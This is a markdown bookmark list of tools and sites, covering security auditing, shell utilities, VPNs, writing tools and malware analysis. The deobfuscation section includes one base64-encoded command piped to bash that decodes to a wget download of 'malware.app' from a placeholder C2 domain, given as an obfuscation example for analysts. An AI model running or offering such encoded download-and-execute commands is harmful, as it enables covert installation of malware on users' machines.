[lynis](https://github.com/CISOfy/lynis) - Security auditing tool for Linux, macOS, and UNIX-based systems. Assists with compliance testing (HIPAA/ISO27001/PCI DSS) and system hardening. Agentless, and installation optional. - [](#) - [malwoverview](https://github.com/alexandreborges/malwoverview) - Simple tool to perform an initial and quick triage of malware samples, URLs and hashes. - [](#)s - [nexfil](https://github.com/thewhiteh4t/nexfil) - OSINT tool written in python for finding profiles by username. - [](#) - [No more ransom](https://www.nomoreransom.org/en/index.html) - Helps unlocking ransomware infected files - [](#) - [openxpki](https://www.openxpki.org/) - OpenXPKI is an enterprise-grade PKI/Trustcenter software. It implements the necessary features to operate a PKI in professional environments. - [](#) - [owasp - vulnerable web applications directory](https://owasp.org/www-project-vulnerable-web-applications-directory/) - comprehensive and well maintained registry of all known vulnerable web applications currently available. - [](#) - [pwnadventure](https://www.pwnadventure.com/) - Game that is intentionally flawed to look for security issues (CTF). - [](#) - [Ransomware - Map of US ransomware attacks](https://www.comparitech.com/ransomware-attack-map/) - Pinpoints the locations of each ransomware attack in the US, from 2018 to present day. - [](#) - [ransomwhere](https://objective-see.com/products/ransomwhere.html) - Utility with a simple goal; generically thwart macOS ransomware - [](#) - [Redact](https://redact.dev/) - Delete your digital footprint. The only platform that allows you to automatically clean up your old posts from services like Twitter, Reddit, Facebook, Discord and more all in one place. - [](#) - [Snort](https://www.snort.org/) - A lightweight network intrusion detection system (NIDS) software for Linux and Windows to detect emerging threats. - [](#) - [sploitus](https://sploitus.com/) - List of exploits - [](#) - [sqreen](https://www.sqreen.com/) - Application security platform that helps teams protect applications, increase visibility and secure code. - [](#) - [stegcloak](https://github.com/KuroLabs/stegcloak) - Steganography module to hide secrets inside text by compressing and encrypting the secret before cloaking it with special unicode invisible characters. - [](#) - [stronghold](https://github.com/alichtman/stronghold) - The easiest way to securely configure your Mac. - [](#) - [Suricata](https://suricata-ids.org/) - Real time intrusion detection (IDS), inline intrusion prevention (IPS), network security monitoring (NSM) and offline pcap processing - [](#) - [the-bastion](https://github.com/ovh/the-bastion) - Bastions are a cluster of machines used as the unique entry point by operational teams (such as sysadmins, developers, database admins, ...) to securely connect to devices (servers, virtual machines, cloud instances, network equipment, ...), usually using ssh. - [](#) - [Try Hack Me](https://tryhackme.com/hacktivities) - Interactive exercises based on real world scenarios, from hacking machines to investigating attacks, we've got you covered. - [](#) - [virus total](https://www.virustotal.com/gui/home) - Analyze suspicious files and URLs to detect types of malware, automatically share them with the security community - [](#) - [vuls.io](https://vuls.io/) - Agentless Vulnerability Scanner for Linux/FreeBSD - [](#) - [Zoneminder](https://www.zoneminder.com/) - State-of-the-art video surveillance software system. - [](https://github.com/ZoneMinder/ZoneMinder/) - [Zydra](https://github.com/hamedA2/Zydra) - File password recovery tool (pdf, rar, zip) and Linux shadow file cracker. It uses the dictionary search or Brute force method for cracking passwords. - [](#) ### Password Manager - [Buttercup](https://buttercup.pw/) - Cross-platform, free and open-source password manager based on NodeJS. - [](#) - [Keepassxc](https://keepassxc.org/) - Cross-platform community fork of KeePassX. - [](https://github.com/keepassxreboot/keepassxc) - [Keeweb](https://keeweb.info/) - Cross-platform password manager compatible with KeePass - [](https://github.com/keeweb/keeweb) - [lesspass](https://lesspass.com/#/) - Stateless Password Manager. Stop wasting your time synchronizing your encrypted vault. Remember one master password to access your passwords, anywhere, anytime, from any device. No sync needed. - [](#) - [Passbolt](https://www.passbolt.com/) - Open source password manager for teams. - [](#) - [Password store](https://www.passwordstore.org/) - Standard unix password manager - [](#) ### Abusive IPs / Whois _Keep the h4xx0r5 out_ - [abuseipdb-cli](https://github.com/kristuff/abuseipdb-cli) - A CLI tool to check ✔️, report 🚩 IP address, download blacklist 🚫 with AbuseIPDB API v2 - [](#) - [abuseipdb](https://www.abuseipdb.com/) - Check the report history of any IP address to see if anyone else has reported malicious activities. - [](#) - [ipwhois](https://github.com/secynic/ipwhois) - Retrieve and parse whois data for IPv4 and IPv6 addresses - [](#) ## Server Management - [ISPconfig](https://www.ispconfig.org/) - Manage Your Servers Directly Through Your Browser - [](#) ## Shell / Terminal / Powershell / Command Line Interface (CLI) - [argbash](https://argbash.io/) - Makes Bash argument parsing easier - [](https://github.com/matejak/argbash) - [babun](https://babun.github.io/) - A windows shell you will love - [](#) - [bash-it](https://github.com/Bash-it/bash-it) - A community Bash framework. - [](#) - [bat](https://github.com/sharkdp/bat) - A cat(1) clone with wings. - [](#) - [cool-retro-term](https://github.com/Swordfish90/cool-retro-term) - A good looking terminal emulator which mimics the old cathode display. - [](#) - [cygwin]() - Get that Linux feeling but on Windows - [](https://github.com/cygwin/cygwin) - [easyigloo](https://easyigloo.org/) - A powerful, context-oriented command-line interface which allows IT gurus to manage their Windows desktop and server machines with ease. - [](#) - [exa](https://github.com/ogham/exa) - A modern version of ‘ls’. - [](#) - [fig](https://fig.io/) - IDE-style autocomplete to your existing terminal. - [](#) - [FinderGo](https://github.com/onmyway133/FinderGo) - Open terminal quickly from Finder (macOS) - [](#) - [howdoi](https://github.com/gleitz/howdoi) - Instant coding answers via the command line - [](#) - [HTTPie](https://github.com/jakubroztocil/httpie/) - cURL-like tool for humans - [](#) - [hyper](https://github.com/zeit/hyper) - A terminal built on web technologies - [](#) - [lsix](https://github.com/hackerb9/lsix) - Like "ls", but for images. Shows thumbnails in terminal using sixel graphics. - [m-cli](https://github.com/rgcr/m-cli) - Swiss Army Knife for macOS - [](#) - [Mac-CI](https://github.com/guarinogabriel/Mac-CLI) - The ultimate tool to manage your Mac. It provides a huge set of command line commands that automatize the usage of your macOS system. - [](#) - [mobaxterm](https://mobaxterm.mobatek.net/) - Enhanced terminal for Windows with X11 server, tabbed SSH client, network tools and much more - [](#) - [mosh](https://mosh.org/#) - Mosh is a replacement for interactive SSH terminals. It's more robust and responsive, especially over Wi-Fi, cellular, and long-distance links. - [](#) - [nanorc](https://github.com/scopatz/nanorc) - Improved Syntax Highlighting Files for the Nano text editor - - [](#) - [neofetch](https://github.com/dylanaraps/neofetch) - Command-line system information tool - [](#) - [Oh-my-zsh](https://github.com/robbyrussell/oh-my-zsh) - Oh My Zsh will not make you a 10x developer...but you may feel like one.- [](https://github.com/ohmyzsh/ohmyzsh) - [sshs](https://github.com/quantumsheep/sshs) - Terminal user interface for SSH - [](#) - [shell harden](https://github.com/anordal/shellharden) - A syntax highlighter and a tool to help do things safely in bash - [](#) - [simple curses](https://github.com/metal3d/bashsimplecurses) - "Bash simple curses" give you some basic functions to quickly create some windows on you terminal as Xterm, aterm, urxvt... - [](#) - [spaceship-prompt](https://github.com/denysdovhan/spaceship-prompt) - Zsh prompt for Astronauts - [](#) - [starship](https://github.com/starship/starship) - Minimal, blazing-fast, and infinitely customizable prompt for any shell! - [](#) - [Tabby](https://github.com/Eugeny/tabby) - A terminal for a more modern age - - [](#) - [Term Markdown viewer](https://github.com/axiros/terminal_markdown_viewer) - Read markdown in your terminal - [](#) - [the fuck](https://github.com/nvbn/thefuck) - Magnificent app which corrects your previous console command. - [](#) - [tldr](https://github.com/tldr-pages/tldr) - Simplified and community-driven man pages - [](#) - [tmux](https://tmux.github.io/) - A terminal multiplexer. It lets you switch easily between several programs in one terminal - [](#) - [wego](https://github.com/schachmat/wego) - A weather client for the terminal - [](#) - [WindTerm](https://github.com/kingToolbox/WindTerm) - SSH/Telnet/Serial/Shell/Sftp client for DevOps. - [](#) - [wifi-password](https://github.com/rauchg/wifi-password) - Get the password of the wifi you're on (bash) - [](#) - [xxh](https://github.com/xxh/xxh) - Bring your favorite shell wherever you go through the ssh - [](#) ### Oh-my-zsh Theme - agnoster - [powerlevel9k](https://github.com/bhilburn/powerlevel9k) ### Oh-my-zsh Plugins - colored-man-pages - git - [zsh-autosuggestions](https://github.com/zsh-users/zsh-autosuggestions) - zsh-syntax-highlighting ### Oh-my-zsh Aliases - [bat](https://github.com/sharkdp/bat) alternative to cat - [exa](https://github.com/ogham/exa) alternative to ls ## System utilities _Automate all the things! ... or at least try to make your life easier_ - [Aerial](https://github.com/JohnCoates/Aerial) - Apple TV Aerial Screensaver for macOS - [](#) - [alfredapp](https://www.alfredapp.com/) - Hotkeys, keywords, text expansion and more for macOS - [](#) - [anyshortcut](https://anyshortcut.com/) - Customize keyboard shortcuts for your frequently visited websites. - [](#) - [Barrier](https://github.com/debauchee/barrier) - Crossplatform tool that allows to use one mouse and keyboard on several computers (emulates a KVM switch) - - [](#) - [dot-hammerspoon](https://github.com/zzamboni/dot-hammerspoon) - example of Hammerspoon configuration. - [](#) - [dotfiles](https://github.com/orrsella/dotfiles) - A collection of miscellaneous .files ("dot" files) and some regular files for configuration - [](#) - [duf](https://github.com/muesli/duf) - Disk Usage/Free Utility (Linux, BSD, macOS & Windows) - [](#) - [easy-file-organizer](https://qiplex.com/software/easy-file-organizer/) - Organize Files, Folders and Desktop easily! - [](#) - [hammerspoon-config](https://github.com/cmsj/hammerspoon-config/) - another example of Hammerspoon configuration. - [](#) - [hammerspoon](https://github.com/Hammerspoon/hammerspoon) - macOS desktop automation - [](#) - [httpstat](https://github.com/reorx/httpstat) - httpstat visualizes curl(1) statistics in a way of beauty and clarity. - [](#) - [Jarvis](https://github.com/spectresystems/jarvis) - Jarvis is an Alfred alternative for Windows 10. - [](#) - [Karabiner](https://pqrs.org/osx/karabiner/) - An utility for keyboard customization on macOS Sierra - [](https://github.com/pqrs-org/Karabiner-Elements) - [kinto.sh](https://github.com/rbreaves/kinto) - Seamless copy and paste with all apps and terminals. The zero effort solution. - [](#) - [modd](https://github.com/cortesi/modd) - Triggers commands and manages daemons in response to filesystem changes (Unix, macOS, Windows) - [](#) - [OpenInTerminal](https://github.com/Ji4n1ng/OpenInTerminal) - Finder Toolbar app for macOS to open the current directory in Terminal, iTerm, Hyper or Alacritty - [](#) - [organize](https://github.com/tfeldmann/organize) - The file management automation tool - [](#) - [PowerToys](https://github.com/microsoft/PowerToys/) - Tune and streamline Windows (mouse finder, file renaming tool, ...) - [](#) - [procs](https://github.com/dalance/procs) - replacement for ps - [](#) - [sharemouse](https://www.sharemouse.com/) - Control multiple computers from a single mouse and keyboard - [](#) - [SlowQuitApps](https://github.com/dteoh/SlowQuitApps) - Add a global delay to Command-Q to stop accidental app quits. - [](#) - [switch-manager](https://www.doyourdata.com/mac-manager/switch-manager.html) - Simply manage some macOS options from the menu bar - [](#) - [Total Commander](https://www.ghisler.com/index.htm) - File manager for Windows - [](#) - [topgrade](https://github.com/r-darwish/topgrade) - Upgrade everything (system, brew, ...). - [](#) - [trash](https://github.com/sindresorhus/trash) - Move files and directories to the trash - [](#) - [typinator](https://www.ergonis.com/products/typinator/) - "types" frequently used text for you (on macOS) - [](#) - [uebersicht](https://github.com/felixhageloh/uebersicht) - Keep an eye on what's happening on your machine and in the world. - [](#) - [vimacapp](https://vimacapp.com/) - Revolutionizes the way you navigate macOS - [](#) ## Text Expanders - [atext](https://trankynam.com/atext/) - aText accelerates your typing in any application by replacing abbreviations with frequently used phrases you define. - [](#) - [AutoHotkey_L](https://github.com/Lexikos/AutoHotkey_L) - Macro-creation and automation-oriented scripting utility for Windows. - [](#) - [espanso "GUI" alternative to forms](https://gist.github.com/atika/dc2de3f8813d9919485761347b200d61) - For the time being, espanso does not come with a graphical user interface, in the meanwhile you can use this workaround to prompt for text or select result in a list, on macOS. - [](#) - [espanso](https://github.com/federico-terzi/espanso) - Cross-platform Text Expander - [](#) - [textexpander](https://textexpander.com/) - insert snippet of text from a repository of emails, boilerplate and other content, as you type – using a quick search or abbreviation. - [](#) ## Templates / Dashboards / Tool overview / Bookmarks / Internal Tools - [Admin LTE](https://github.com/almasaeed2010/AdminLTE) - [Angular analytics](http://angular-material.fusetheme.com/apps/dashboards/analytics) - [appsmith](https://github.com/appsmithorg/appsmith) - Visual development platform to build and launch internal tools quickly. Drag-and-drop pre-built widgets, and connect them using JavaScript to create interactive pages. Connect UI to your APIs and Databases to build complex workflows in minutes. - [](#) - [backstage](https://github.com/spotify/backstage) - Backstage is an open platform for building developer portals made by spotify - [](#) - [Bootstrap admin templates](https://github.com/coreui/coreui-free-bootstrap-admin-template) - [Budibase](https://github.com/Budibase/budibase) - Low-code platform to build internal tools. - [](#) - [coreui admin template](https://github.com/coreui/coreui-free-bootstrap-admin-template) - [dashing](https://github.com/HippyScript/dashing) - A simple home server dashboard - [](#) - [DashMachine](https://github.com/rmountjoy92/DashMachine) - Another web application bookmark dashboard, with fun features. - [](#) - [golinks.io](https://www.golinks.io/) - Intuitive, secure, go links, shared by teams. - [](#) - [golinks](https://github.com/taliamax/golinks) - A personal 'golink' redirect service using nginx and docker - [](#) - [Heimdall](https://github.com/linuxserver/Heimdall) - Application dashboard and launcher - [](#) - [Ngx-admin](https://github.com/akveo/ngx-admin) - [Organizr](https://github.com/causefx/Organizr) - Homelab Services Organizer - Written in PHP - [](#) - [Simplefolio](https://github.com/cobidev/simplefolio) - A minimal portfolio template for Developers - [](#) - [Sufee admin dashboard](https://github.com/puikinsh/sufee-admin-dashboard) ## Translations _Фэсапщы Elu הלו Güata Tàg السلام عليكم Cześć নমস্কাৰ Kasalehlie მარშიხ Aloha ვალ Haluu 你好 Γειά! Halito 今日は ជំរាបសួរ Kamusta 안녕하십니까 ສະບາຍດີ გეგაჯგინას Здраво_ - [Deepl](https://deepl.com/) - (The best) machine translation service. - [](#) - [glosbe](https://glosbe.com/) - Multilingual online dictionary - [](#) - [libretranslate](https://libretranslate.com/) - Machine Translation API - [](#) - [textmaster](https://eu.textmaster.com/translation-web-content-pricing/) - Paid proofreading and translation service. - [](#) ## User Management (LDAP / Radius / SSO / OpenID Connect / OAuth / SAML / ... ) - [free ipa](https://www.freeipa.org/page/Main_Page) - Manage Linux users and client hosts in your realm from one central location with CLI, Web UI or RPC access. - [](https://pagure.io/freeipa/issues) - [free radius](http://freeradius.org/) - Open source implementation of RADIUS, an IETF protocol for AAA (Authorisation, Authentication, and Accounting). - [](https://github.com/FreeRADIUS/freeradius-server) - [key cloak](https://www.keycloak.org/) - Identity and Access Management - [](https://github.com/keycloak/keycloak) ## Useful Software ### Mac - App Cleaner - [bat](https://github.com/sharkdp/bat) - [bpytop](https://github.com/aristocratos/bpytop) - `htop` clone - Grand Perspective - [Balena Etcher](https://www.balena.io/etcher/) - Flash OS images to SD cards & USB drives, safely and easily. - [exa](https://github.com/ogham/exa) - [MonitorControl](https://github.com/MonitorControl/MonitorControl) - Control your external monitor brightness, contrast or volume directly from a menulet or with keyboard native keys. - [nightowl](https://nightowl.kramser.xyz/) - Switch between light and dark mode - [multi](https://github.com/kofigumbs/multi) - Create a custom, lightweight macOS app from a group of websites. - [latest](https://github.com/mangerlahn/latest) - Keka - Oh My ZSH - [organize](https://github.com/tfeldmann/organize) - Rambox - [Does It ARM?](https://doesitarm.com/) ### Linux - bat - grepcidr - ipcalc - iperf - lnav - mtr - [popsicle](https://github.com/pop-os/popsicle) - Multiple USB File Flasher ### Windows - Windirstat - Total Commander - [Files](https://github.com/files-community/Files) - [Rufus](https://rufus.ie/) - Create bootable USB drives the easy way ## VPN - [innernet](https://github.com/tonarino/innernet) - A private network system that uses WireGuard under the hood. - [](#) - [nebula](https://github.com/slackhq/nebula) - Scalable overlay networking tool with a focus on performance, simplicity and security. - [](#) - [netmaker](https://github.com/gravitl/netmaker/) - Netmaker makes networks with WireGuard. Netmaker automates fast, secure, and distributed virtual networks. - [](#) - [subspace](https://github.com/subspacecloud/subspace) - simple WireGuard VPN server GUI - [](#) - [tailscale](https://tailscale.com/) - Connect all your devices using WireGuard, - [wg-gen-web](https://github.com/vx3r/wg-gen-web) - Simple Web based configuration generator for WireGuard - [](#) - [wireguard](https://www.wireguard.com/) - Fast, Modern, Secure VPN Tunnel - [](#) - [zerotier](https://www.zerotier.com/) - Combines the capabilities of VPN and SD-WAN, simplifying network management - [](#) without the hassle. - [](#) ## Voice / Home Assistant _Ok Siri_ - [gladysassistant](https://gladysassistant.com/en/) - Home assistant - [](#) - [home-assistant](https://www.home-assistant.io/) - Home automation that puts local control and privacy first. - [](#) - [jarvis](https://github.com/alexylem/jarvis) - Jarvis.sh is a simple configurable multi-lang assistant - [](#) - [picovoice](https://picovoice.ai/) - Create context-aware voice products. Platform for adding voice to anything - [](#) - [replicastudios](https://replicastudios.com/) - Create naturally expressive voice overs and performances with a Replica Voice. ## Webservers - [h5ai](https://larsjung.de/h5ai/) - A file indexer for HTTP web servers with focus on your files. Directories are displayed in a appealing way and browsing them is enhanced by different views, a breadcrumb and a tree overview. - [](#) - [NGINX Config](https://www.digitalocean.com/community/tools/nginx) - The easiest way to configure a performant, secure, and stable NGINX server. - [](https://github.com/digitalocean/nginxconfig.io) - [puphpet](https://puphpet.com/#create) - Simplify deployment through vagrant for nginx / apache / mySQL / ... - [](#) ## Website Hosting (Free) - [alwaysdata](https://www.alwaysdata.com/en/) - [](#) - [atspace](https://www.atspace.com/?aid=MTkyNDE4MTgyNDIyMjM%3D) - [](#) - [awardspace](https://www.awardspace.com/free-hosting/) - [](#) - [Github Pages](https://pages.github.com/) - [](#) - [Gitlab Pages](https://about.gitlab.com/stages-devops-lifecycle/pages/) - [](#) - [infinityfree](https://infinityfree.net/) - [](#) - [netlify](https://www.netlify.com/) - [](#) - [planethoster](https://www.planethoster.com/en/World-Lite) - [](#) - [surge](https://surge.sh/) - [](#) - [vercel](https://vercel.com/) - Previously known as Zeit. - [](#) - [webself](https://en.webself.net/) - [](#) ## Writing / Markdown / Rendering - [bibcitation](https://www.bibcitation.com/) - Citation generator that creates bibliographies, references and works cited. Automatically generate MLA, APA, Chicago and other citations and create an accurate bibliography in one click. - [](#) - [bludit](https://www.bludit.com/) - Create your own Website or Blog in seconds. Simple, Fast, Secure, Flat-File CMS - [](#) - [doctoc](https://github.com/thlorenz/doctoc) - Generates table of contents for markdown files - [](#) - [Ghost](https://github.com/TryGhost/Ghost) - The #1 headless Node.js CMS for professional publishing - [](#) - [GitHub buttons](https://ghbtns.com/) - Showcase your GitHub repo’s success with hotlinkable GitHub star, fork, sponsor, and follow buttons. - [](#) - [github-buttons](https://github.com/ntkme/github-buttons) - Unofficial github:buttons - [](#) - [github-calendar](https://github.com/Bloggify/github-calendar) - Embed your GitHub contributions calendar everywhere. - [](#) - [githubchart-api](https://github.com/2016rshah/githubchart-api) - Embed github contributions chart as image - [](#) - [Joplin](https://github.com/laurent22/joplin) - note taking and to-do application - [](#) - [markdown-here](https://github.com/adam-p/markdown-here) - Google Chrome, Firefox, and Thunderbird extension that lets you write email in Markdown and render it before sending. - [](#) - [mdx](https://github.com/mdx-js/mdx) - Use JSX in your markdown documents. You can import components, like interactive charts or notifications, and export metadata. This makes writing long-form content with components a blast. - [](#) - [nb](https://github.com/xwmx/nb) - Command line note-taking, bookmarking, archiving, and knowledge base application - [](#) - [obsidian](https://obsidian.md/) - knowledge base on top of a local folder of plain text Markdown files. - [](#) - [pdf.js](https://github.com/mozilla/pdf.js) - A PDF Reader in JavaScript made by mozilla - [](https://github.com/mozilla/pdf.js) - [quilljs](https://quilljs.com/) - WYSIWYG editor built for the modern web. - [](#) - [Relaxed](https://github.com/RelaxedJS/ReLaXed) - Create PDF documents interactively using web technologies - [](#) - [Scribus](https://www.scribus.net/) - A page layout / desktop publishing tool - [](https://github.com/scribusproject/scribus) - [shields](https://shields.io/) - Add fancy shields to your github readme pages. - [](#) - [standardnotes](https://standardnotes.org/) - Cross platform and mobile note taking app that is end-to-end (E2E) encrypted. - [](#) - [Tiny MCE](https://www.tiny.cloud/tinymce/) - WYSIWYG editor. - [](#) - [writty](https://iamcharlie.design/writty/) - A free open-source text editor to help you focus on what matters. - [](#) ## Wordpress - [bedrock](https://roots.io/bedrock/) - Wordpress Boilerplate - [frontity](https://frontity.org/) - React framework for WordPress - [](#) - [frost](https://frostwp.com/patterns/) - Experimental block theme for designers, developers, and creators. - [](#) - [Modern Wordpress](https://github.com/vincenzo/modern-wp) - Modern WordPress development and deployment workflow template on Platform.sh - [](#) - [WP - CLI](https://wp-cli.org) - WP-CLI is the command-line interface for WordPress. - [](#) - [WP Speedster](http://www.wpspeedster.com/) - You can find almost all themes from the WordPress.org theme repository tested against Google PageSpeed here. - [](#)

# Malware Analysis - [Awesome Malware Analysis Reverse-Engineering](https://github.com/CyberSecurityUP/Awesome-Malware-Analysis-Reverse-Engineering) - [Awesome Malware Analysis by rshipp](https://github.com/rshipp/awesome-malware-analysis)| Defund the Police. - [BlobRunner](https://github.com/OALabs/BlobRunner) - Quickly debug shellcode extracted during malware analysis. - [Dangerzone](https://github.com/firstlookmedia/dangerzone) - Take potentially dangerous PDFs, office documents, or images and convert them to a safe PDF. - [emnux-a-tool-for-reverse-engineering-malware](https://infoupdatesection.wordpress.com/2017/04/08/remnux-a-tool-for-reverse-engineering-malware/) - [elf-malware-analysis-101-initial-analysis](https://www.intezer.com/blog/linux/elf-malware-analysis-101-initial-analysis/) - [Awesome Malware Analysis](https://github.com/rshipp/awesome-malware-analysis#honeypots) - [CyberChef](https://github.com/gchq/cyberchef) - The Cyber Swiss Army Knife - a web app for encryption, encoding, compression and data analysis. - [gchq.github.io/CyberChef](https://gchq.github.io/CyberChef) - [DrSemu](https://github.com/secrary/DrSemu) - Sandboxed Malware Detection and Classification Tool Based on Dynamic Behavior. - [HashDB](https://github.com/OALabs/hashdb) - Assortment of hashing algorithms used in malware. - [HunterX-MRE](https://github.com/CyberSecurityUP/HunterX-MRE) - HunterX - Malware Reverse Engineering Script in Python - [mal-analysis-tools](https://github.com/albertzsigovits/mal-analysis-tools) - A curated list of malware repositories, trackers and malware analysis tools - [Malduck](https://github.com/CERT-Polska/malduck) - 🦆 Malduck is your ducky companion in malware analysis journeys. - [Learn how to fix PE magic numbers with Malduck](https://0xc0decafe.com/fix-pe-magic-numbers-with-malduck/) - [malwares-analysis-tools](https://github.com/petikvx/malwares-analysis-tools) - null - [Malware gems](https://github.com/0x4143/malware-gems) - A not so awesome list of malware gems for aspiring malware analysts. - [malware jail](https://github.com/HynekPetrak/malware-jail) - Sandbox for semi-automatic Javascript malware analysis, deobfuscation and payload extraction. Written for Node.js - [REW-sploit](https://github.com/REW-sploit/REW-sploit) - Emulate and Dissect MSF and *other* attacks - [SSMA](https://github.com/secrary/SSMA) - Simple Static Malware Analyzer [This project is not maintained anymore] - [Tknk_scanner](https://github.com/nao-sec/tknk_scanner) - Community-based integrated malware identification system - [Qu1cksc0pe](https://github.com/CYB3RMX/Qu1cksc0pe) - All-in-One malware analysis tool. This tool allows you to statically analyze Windows, Linux, OSX executables and APK files. ## Collections of good materials (pdfs, tutorials and so on) - [Complete Malware Analysis Tutorials, Cheatsheet](https://gbhackers.com/malware-analysis-cheat-sheet-and-tools-list/)A Complete Malware Analysis Tutorials, Cheatsheet & Tools list for Security Professionals. - [Linux Malware Analysis by linuxhint.com](https://linuxhint.com/linux_malware_analysis/) - [Malware Analysis - CSCI 4976](https://github.com/RPISEC/Malware) - Course materials for Malware Analysis by RPISEC. - [Modern Binary Exploitation - CSCI 4968](https://github.com/RPISEC/MBE) - Course materials for Modern Binary Exploitation by RPISEC. - [PMAT-labs](https://github.com/HuskyHacks/PMAT-labs) - Labs for Practical Malware Analysis & Triage. ## Compression - [aPLib](https://ibsensoftware.com/products_aPLib.html) - compression library. - [The malware analyst’s guide to aPLib decompression](https://0xc0decafe.com/malware-analysts-guide-to-aplib-decompression/) ## Decryption and Deobfuscation - [Binary Refinery](https://github.com/binref/refinery) - High Octane Triage Analysis. #### base64 ```` echo d2dldCBodHRwOi8vc29tZW5vbmV4aXRpbmdjbmNbLl1jb20vbWFsd2FyZS5hcHA=|base64 -d |bash; ```` ## Diff - [VBinDiff - Visual Binary Diff](https://github.com/madsen/vbindiff) - Visual Binary Diff (VBinDiff) displays files in hex & ASCII and can highlight the differences between 2 files. ## Disk Image ````powershell dd if=/dev/sda3 of=$IMAGE_FILE mount -o loop,ro $IMAGE_FILE /mnt ```` ## Entropy - [read later](https://reverseengineering.stackexchange.com/questions/21555/what-is-an-entropy-graph/21558) ## Frameworks and other analysis systems - [Analyzer](https://github.com/qeeqbox/analyzer) - ☣️ Offline Analyzer for extracting and visualizing features, artifacts and IoCs from files and memory dumps (Windows, Linux, Android, iPhone, Blackberry, macOS binaries, emails and more). - [Assemblyline](https://github.com/CybercentreCanada/assemblyline) - AssemblyLine 4 - File triage and malware analysis - [CAPEv2](https://github.com/kevoreilly/CAPEv2) - Malware Configuration And Payload Extraction - [Detect It Easy (DIE) tool](https://ntinfo.biz/index.html) - DIE is a signature-based tool that detects a file’s compiler, linker, packer, and more. - [DRAKVUF Sandbox](https://github.com/CERT-Polska/drakvuf-sandbox) - DRAKVUF Sandbox - automated hypervisor-level malware analysis system. - [Hybrid-Analysis](https://www.hybrid-analysis.com) - free malware analysis service for the community that detects and analyzes unknown threats using a unique Hybrid Analysis technology. - [Karton](https://github.com/CERT-Polska/karton) - Distributed malware processing framework based on Python, Redis and MinIO. - [Karton : Distributed Malware Processing Framework Based On Python, Redis And MinIO](https://kalilinuxtutorials.com/karton) - [Koodous](https://koodous.com) - [Malware-analysis-pipeline](https://github.com/threatcat-ch/malware-analysis-pipeline) - Lightweight Python-Based Malware Analysis Pipeline - [Malwoverview](https://github.com/alexandreborges/malwoverview) - Malwoverview is a first response tool used for threat hunting and offers intel information from Virus Total, Hybrid Analysis, URLHaus, Polyswarm, Malshare, Alien Vault, Malpedia, ThreatCrowd, Valhalla, Malware Bazaar, ThreatFox, Triage and it is able to scan Android devices against VT and HA. - [Pandora](https://github.com/pandora-analysis/pandora) - Pandora is an analysis framework to discover if a file is suspicious and conveniently show the results - [Virustotal](virustotal.com) - Analyze suspicious files and URLs to detect types of malware, automatically share them with the security community. ### Selfhosted - [Cuckoo](https://github.com/cuckoosandbox/cuckoo) - Cuckoo Sandbox is an automated dynamic malware analysis system ## Elf - Executable and Linkable Format - Formats: so, o, elf, puff, ko, mod, bin, axf, prx or none - [Awesome-elf](https://github.com/tmpout/awesome-elf) - null - [ELFkickers](https://github.com/BR903/ELFkickers) - A collection of programs that access and manipulate ELF files. - [Extracting Linux ELF binaries](https://github.com/extremecoders-re/pyinstxtractor/wiki/Extracting-Linux-ELF-binaries) - Pyinstxtractor as of now can natively extract Pyinstaller generated ELF binaries (in the same way as Windows exe) without requiring additional tools. - [Extrude](https://github.com/liamg/extrude) - 🕵️ Analyse binaries for missing security features, information disclosure and more... - [hacking_whale](https://github.com/oneNutW0nder/hacking_whale) - Custom Docker image used for debugging and pwning x86/x86_64 ELFs. - [M0der_p4cker](https://github.com/n4sm/m0dern_p4cker) - Just a modern packer for elf binaries ( works on linux executables only ) - [XELFViewer](https://github.com/horsicq/XELFViewer) - ELF file viewer/editor for Windows, Linux and MacOS. ```` ldd #displays libraries used ldd /bin/executable readelf readelf /bin/executable #displays info about ELF files readelf -h training-sample #ELF Header readelf -s training-sample readelf -s training-sample | grep OBJECT readelf -s training-sample | grep FUNC readelf -s training-sample | grep FILE ```` - [tmpout.sh/2](https://tmpout.sh/2) ## Fuzzy hashing - [SSDeep](https://github.com/ssdeep-project/ssdeep) - Fuzzy hashing API and fuzzy hashing tool . [ssdeep-project.github.io](https://ssdeep-project.github.io/ssdeep/index.html) ## Images Exif - _Exchangeable image file format (officially Exif, according to JEIDA/JEITA/CIPA specifications) is a standard that specifies the formats for images, sound, and ancillary tags used by digital cameras (including smartphones), scanners and other systems handling image and sound files recorded by digital cameras. [Wiki Exif](https://en.wikipedia.org/wiki/Exif)_ - [ExifTool](https://exiftool.org) ````powershell exiftool IMG.CR2 ```` ## Network - [fakedns.py](https://code.activestate.com/recipes/491264-mini-fake-dns-server/) - Minimal python dns server, it only replies with a selected ip in an A record - [flare-fakenet-ng](https://github.com/fireeye/flare-fakenet-ng) - Next Generation Dynamic Network Analysis Tool. - [INetSim](https://www.inetsim.org/) - [Installing and Configuring InetSim](https://www.techanarchy.net/installing-and-configuring-inetsim/) - [Netsniff-ng](https://github.com/netsniff-ng/netsniff-ng) - A Swiss army knife for your daily Linux network plumbing. - [NetworkMiner](https://www.netresec.com/?page=Networkminer) - open source Network Forensic Analysis Tool (NFAT) for Windows (but also works in Linux / Mac OS X / FreeBSD). - [Pcap files and malware samples](https://malware-traffic-analysis.net) - Since the summer of 2013, this site has published over 1,600 blog entries about malicious network traffic. Almost every post on this site has pcap files or malware samples (or both). - [TinyCheck](https://github.com/KasperskyLab/TinyCheck) - TinyCheck allows you to easily capture network communications from a smartphone or any device which can be associated to a Wi-Fi access point in order to quickly analyze them. This can be used to check if any suspect or malicious communication is outgoing from a smartphone, by using heuristics or specific Indicators of Compromise (IoCs). In order to make it working, you need a computer with a Debian-like operating system and two Wi-Fi interfaces. The best choice is to use a Raspberry Pi (2+) a Wi-Fi dongle and a small touch screen. This tiny configuration (for less than $50) allows you to tap any Wi-Fi device, anywhere. - [SpyGuard](https://github.com/SpyGuard/SpyGuard) - SpyGuard is a forked and enhanced version of TinyCheck. SpyGuard's main objective is to detect signs of compromise by monitoring network flows transmitted by a device. ## DNS - [MINI-DNS-Server](https://github.com/alexsilva/MINI-DNS-Server) - Resolve domain names and saves the ips in a database (cache). ## Setup - [DetectionLab](https://github.com/clong/DetectionLab) - Automate the creation of a lab environment complete with security tooling and logging best practices. ### Operating Systems - [FireEye's ThreatPursuit-VM](https://github.com/fireeye/ThreatPursuit-VM) - A fully customizable, open-sourced Windows-based distribution focused on threat intelligence analysis and hunting designed for intel and malware analysts as well as threat hunters to get up and running quickly. - [Flare-vm](https://github.com/fireeye/flare-vm) - a fully customizable, Windows-based security distribution for malware analysis, incident response, penetration testing, etc. - [Installation](https://www.fireeye.com/blog/threat-research/2018/11/flare-vm-update.html) - [REMnux](https://remnux.org) - REMnux® is a Linux toolkit 